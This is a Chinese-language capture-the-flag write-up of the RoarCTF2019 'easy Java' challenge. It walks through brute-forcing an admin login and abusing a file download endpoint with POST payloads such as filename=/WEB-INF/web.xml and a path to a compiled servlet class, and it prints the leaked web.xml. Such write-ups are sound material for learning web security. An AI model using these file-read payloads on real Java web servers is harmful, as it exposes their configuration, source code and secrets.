RoarCTF2019 easy Java


1.尝试登录

打开实例,首先出现了一个登录页面。考虑账号用admin,密码先尝试几个登录。提示wrong password,但是,这个页面的密码可以直接用暴力破解的方法得到。得出来用户名是admin,密码是admin888。

登录过去发现页面"flag is not here",页面没有啥有用的信息,回到登录页面,发现有个help链接。进去,发先报错 “java.io.FileNotFoundException:{help.docx}”,意思是找不到help.docx这个文件。感觉这个提示没啥用,但既然提示这个文件,而且页面的URL是Download?file=help.docx。那就尝试下载help.docx这个文件。但是不知为何,get请求无法下载文件,只能通过post请求下载。
在这里插入图片描述


2.寻找正确的文件

打开help.docx结果没有什么有用的信息,不过我们可以判断这里是有文件包含漏洞的,这里需要找到合适文件。题目名已经告诉我们,这里可能和Java有关。这里就要用到Java web的有关知识了,这里需要了解一下Java web的文件结构:

在这里插入图片描述

src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

这里就要尝试打开web.xml文件了。web.xml是我们需要研究的文件。之所以会发生安全漏洞就是因为如果在web.xml文件中有某个文件的相关映射的话,我们就可以直接在页面访问这个文件,就类似于文件包含了。从而发生安全漏洞。


3找到flag

通过post请求下载web.xml文件 payload:Download?filename=/WEB-INF/web.xml

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

可以看到有个servlet(运行在web服务器或应用服务器上的程序)为FlagController,这个是可能有flag的类,存放于com.wm.ctf包下。那么尝试下载这个类。构造payload:Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class(直接这样是不行,因为无法get请求。需要在Download页面下post请求传filename=/WEB-INF/classes/com/wm/ctf/FlagController.class)

打开class,发现一串有点像Base64编码的字符串

在这里插入图片描述

尝试一下Basse64解码,成功的得到了flag

在这里插入图片描述

提交flag

这个题目其实结合了源码泄露,和文件包含以及Java web的基础知识。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值